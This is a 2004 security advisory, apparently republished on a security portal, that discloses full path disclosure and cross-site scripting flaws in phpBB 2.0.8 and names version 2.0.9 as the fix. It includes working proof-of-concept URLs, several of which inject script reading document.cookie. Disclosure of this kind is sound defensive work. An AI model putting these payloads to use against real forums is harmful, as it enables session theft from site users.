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PacketStorm News
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[waraxe-2004-SA#034] - XSS and full path disclosure in PhpBB 2.0.8





Author: Janek Vind "waraxe"
Date: 16. July 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=34


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PhpBB is widely used and very popular forum software, written in php.

Homepage: http://www.phpbb.com/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There are some uninitialized arrays in phpBB code, which can lead to XSS and full
path disclosure. "register_globals" must be enabled on server for those bugs to be
exploitable.


A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in "index.php":

http://localhost/phpbb208/index.php?category_rows=waraxe

Fatal error: [] operator not supported for strings in
D:apache_wwwrootphpbb208index.php on line 120


A2 - full path disclosure in "languagelang_englishlang_faq.php":

http://localhost/phpbb208/faq.php?faq=waraxe

Fatal error: [] operator not supported for strings in
D:apache_wwwrootphpbb208languagelang_englishlang_faq.php on line 41


A3 - full path disclosure in "languagelang_englishlang_bbcode.php ":

http://localhost/phpbb208/faq.php?mode=bbcode&faq=waraxe

Fatal error: [] operator not supported for strings in
D:apache_wwwrootphpbb208languagelang_englishlang_bbcode.php on line 46



A4 - full path disclosure in "includesusercp_viewprofile.php":

http://localhost/phpbb208/profile.php?mode=viewprofile&u=2&ranksrow=waraxe

Fatal error: [] operator not supported for strings in
D:apache_wwwrootphpbb208includesusercp_viewprofile.php on line 46



B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - XSS in "index.php":

http://localhost/phpbb208/index.php?category_rows[0][cat_id]=1
&category_rows[0][cat_title]=waraxe<script>alert(document.cookie);</script>
&category_rows[0][cat_order]=99


B2 - XSS in "languagelang_englishlang_faq.php":

http://localhost/phpbb208/faq.php?
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe


B3 - XSS in "languagelang_englishlang_bbcode.php ":

http://localhost/phpbb208/faq.php?mode=bbcode&
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected versions are 2.0.8 and probaly older 2.x versions too.
Vendor has released new version - 2.0.9 - which is patched against discussed
bugs and contain many other improvements.

phpBB 2.0.9 packages can be downloaded at:

http://www.phpbb.com/downloads.php

Additional information and discussion at waraxe forum:

http://www.waraxe.us/forums.html



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix and slimjim100!
Tervitused - Heintz ja Maku!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (23984 reads)

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